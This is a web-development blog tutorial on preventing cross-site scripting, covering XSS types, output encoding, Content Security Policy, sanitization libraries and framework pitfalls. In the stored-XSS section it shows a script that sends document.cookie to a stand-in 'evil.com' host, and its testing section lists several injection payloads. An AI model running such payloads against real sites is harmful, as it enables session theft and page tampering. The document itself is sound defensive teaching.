XSS Prevention in Modern Web Applications

Reverend Philip Nov 23, 2025 3 min read

Protect your users from cross-site scripting attacks. Learn about XSS types, encoding strategies, and Content Security Policy implementation.

Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by other users. These attacks can steal session cookies, redirect users to malicious sites, or modify page content. Understanding XSS types and prevention strategies is essential for building secure web applications.

Types of XSS Attacks

Reflected XSS

The malicious script comes from the current HTTP request. The server includes unvalidated input in the response.

Example scenario: A search page displays: "Results for: [search term]"

Consider what happens when an attacker crafts a malicious URL and tricks a user into clicking it. The following URL demonstrates how unsanitized query parameters can become dangerous:

https://example.com/search?q=<script>alert('XSS')</script>

If the search term is rendered without encoding, the script executes in the victim's browser with full access to that page's context.

Stored XSS

The malicious script is permanently stored on the target server (database, message forum, comment field). Every user viewing the affected page executes the script.

Example scenario: An attacker posts a comment containing malicious JavaScript. This type of attack is particularly dangerous because it persists and affects every visitor who views the compromised content:

<script>
fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

All users viewing this comment have their cookies stolen. The attacker doesn't need to trick each victim individually since the payload is stored server-side.

DOM-Based XSS

The vulnerability exists in client-side code rather than server-side. The payload never reaches the server, making it harder to detect with traditional server-side security tools.

Example scenario: You'll often see DOM-based XSS when developers use URL fragments or query parameters to dynamically update page content without proper sanitization:

// Vulnerable code
const name = location.hash.substring(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

An attacker could exploit this with a URL like: https://example.com/page#<img src=x onerror=alert('XSS')>. Notice how the payload uses an image tag with an error handler rather than a script tag, demonstrating that XSS isn't limited to obvious <script> injections.

Prevention Strategies

1. Output Encoding

The primary defense against XSS. Encode data based on where it's being placed in the HTML document. The key insight is that different contexts require different encoding strategies.

HTML Context: When outputting user data within HTML body content, you need to convert special characters like <, >, and & into their HTML entity equivalents:

// PHP
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

// Laravel Blade - automatic encoding
{{ $userInput }}

Laravel's double-curly-brace syntax handles encoding automatically, which is why you should prefer it over raw output with {!! !!}.

JavaScript Context: When you need to pass server-side data into JavaScript, JSON encoding ensures special characters are properly escaped for the JavaScript parser:

// Use JSON encoding for dynamic data
const userData = <?= json_encode($userData) ?>;

URL Context: User input in URL parameters requires URL encoding to handle special characters that have meaning in URLs:

<a href="https://example.com/?name=<?= urlencode($name) ?>">

CSS Context: Avoid user input in CSS. If unavoidable, strictly validate against allowlist.

2. Content Security Policy (CSP)

CSP is a browser security mechanism that restricts what resources can load and execute. It's your second line of defense that mitigates the impact even if an XSS vulnerability slips through.

Basic CSP Header: This minimal policy restricts scripts, images, and other resources to only load from your own domain:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'

Strict CSP with Nonces: For stronger protection, you can require that inline scripts include a cryptographically random nonce that changes with each page load. This approach effectively blocks any injected scripts since attackers cannot predict the nonce:

Content-Security-Policy: script-src 'nonce-abc123'

<script nonce="abc123">
  // This script runs
</script>

<script>
  // This script is blocked
</script>

The nonce must be generated server-side for each request and should be unpredictable.

Laravel CSP Package Example: If you're using Laravel, the spatie/laravel-csp package provides a clean way to configure policies:

// In a CSP policy class
public function configure()
{
    $this->addDirective(Directive::DEFAULT, Keyword::SELF)
         ->addDirective(Directive::SCRIPT, Keyword::SELF)
         ->addNonceForDirective(Directive::SCRIPT);
}

This approach lets you manage CSP configuration in version control and easily switch between policies for different environments.

3. Sanitization for Rich Content

When you need to allow HTML (like a WYSIWYG editor), use a robust sanitization library. Simple regex-based filtering is notoriously insufficient against determined attackers.

PHP - HTML Purifier: HTML Purifier is the gold standard for PHP HTML sanitization. It parses and rebuilds HTML, ensuring only safe elements survive:

$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$cleanHtml = $purifier->purify($dirtyHtml);

JavaScript - DOMPurify: For client-side sanitization, DOMPurify is lightweight and battle-tested:

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(dirty);

You should configure sanitizers to allow only the tags your application actually needs. The more restrictive your allowlist, the smaller your attack surface:

const clean = DOMPurify.sanitize(dirty, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href']
});

Be particularly careful with the href attribute since it can contain javascript: URLs. Consider additional validation for link targets.

4. Framework-Specific Protections

Modern JavaScript frameworks provide built-in XSS protection, but each has escape hatches that you need to understand and avoid.

React: React escapes values by default when using JSX. This is one of React's biggest security wins.

// Safe - React escapes this
<div>{userInput}</div>

// DANGEROUS - bypasses escaping
<div dangerouslySetInnerHTML={{ __html: userInput }} />

The dangerouslySetInnerHTML prop name is intentionally scary. If you must use it, always sanitize with DOMPurify first.

Vue: Vue follows a similar pattern with its template syntax:

<!-- Safe - Vue escapes this -->
<div>{{ userInput }}</div>

<!-- DANGEROUS - raw HTML -->
<div v-html="userInput"></div>

Angular: Angular automatically sanitizes potentially dangerous values, but provides methods to bypass this protection when needed.

// Angular sanitizes HTML bindings
<div [innerHTML]="userInput"></div>

// But bypassSecurityTrust* methods are dangerous
this.sanitizer.bypassSecurityTrustHtml(userInput); // Avoid

The bypassSecurityTrust* methods should be a red flag in code reviews. They exist for legitimate use cases, but require careful validation of the input source.

5. HTTP-Only Cookies

Prevent JavaScript access to sensitive cookies. This limits the damage from XSS by keeping session tokens out of reach:

// PHP
setcookie('session', $token, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);

// Laravel
Cookie::make('session', $token, 60, null, null, true, true);

The httponly flag is the key setting here. Combined with secure and samesite, you get defense in depth for your authentication cookies.

6. Input Validation

While not a complete solution, validation catches obvious attacks and improves data quality. Think of it as a first layer that reduces noise and catches unintentional issues:

// Validate expected format
$rules = [
    'username' => 'required|alpha_num|max:30',
    'email' => 'required|email',
    'age' => 'required|integer|min:0|max:150'
];

Remember that validation complements output encoding but never replaces it. Even validated data should be encoded when rendered.

Common Mistakes

Understanding common mistakes helps you spot vulnerabilities during code reviews and avoid them in your own code.

Using innerHTML

The innerHTML property parses and executes content as HTML, making it a frequent source of DOM-based XSS:

// DANGEROUS
element.innerHTML = userInput;

// SAFE - textContent doesn't parse HTML
element.textContent = userInput;

When you need to set text content, textContent is always the safer choice.

Unquoted Attributes

Forgetting to quote attribute values opens the door for attribute injection attacks:

<!-- DANGEROUS - attack: onfocus=alert(1) autofocus -->
<input value=<?= $value ?>>

<!-- SAFE -->
<input value="<?= htmlspecialchars($value) ?>">

Always quote attribute values and encode the content. This is one reason why templating engines that enforce quoting are valuable.

JavaScript URL Schemes

Links that accept user-provided URLs can become XSS vectors through the javascript: protocol:

<!-- DANGEROUS - attack: javascript:alert('XSS') -->
<a href="<?= $url ?>">Click</a>

<!-- SAFE - validate URL scheme -->
<?php if (preg_match('/^https?:\/\//', $url)): ?>
<a href="<?= htmlspecialchars($url) ?>">Click</a>
<?php endif; ?>

Only allow http: and https: schemes for user-provided URLs. Be aware that data: URLs can also be dangerous in some contexts.

Template Literals

JavaScript template literals make it easy to build HTML strings, but they don't provide any automatic escaping:

// DANGEROUS - user input in template literal
const html = `<div>${userInput}</div>`;

// SAFE - escape first
const html = `<div>${escapeHtml(userInput)}</div>`;

If you're building HTML with template literals, you need to manually escape every interpolated value.

Testing for XSS

Manual Testing

Try these payloads in every input field and URL parameter. Each targets a different rendering context:

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
"><script>alert('XSS')</script>
'-alert('XSS')-'

The last two payloads attempt to break out of attribute contexts before injecting scripts. Effective testing requires trying multiple payloads since different contexts require different escape sequences.

Automated Tools

  • OWASP ZAP: Free security scanner
  • Burp Suite: Professional web security testing
  • XSS Hunter: Hosted blind XSS detection
  • Browser DevTools: Check CSP violations in console

Conclusion

XSS prevention requires a layered approach: encode output based on context, implement strict Content Security Policy, sanitize when allowing rich content, and use HTTP-only cookies. Modern frameworks handle much of this automatically, but understanding the underlying vulnerabilities helps you avoid the edge cases where things go wrong.

Share this article

Related Articles

Distributed Locking Patterns

Coordinate access to shared resources across services. Implement distributed locks with Redis, ZooKeeper, and databases.

Jan 16, 2026

API Design First Development

Design APIs before implementing them. Use OpenAPI specifications, mock servers, and contract-first workflows.

Jan 15, 2026

Need help with your project?

Let's discuss how we can help you build reliable software.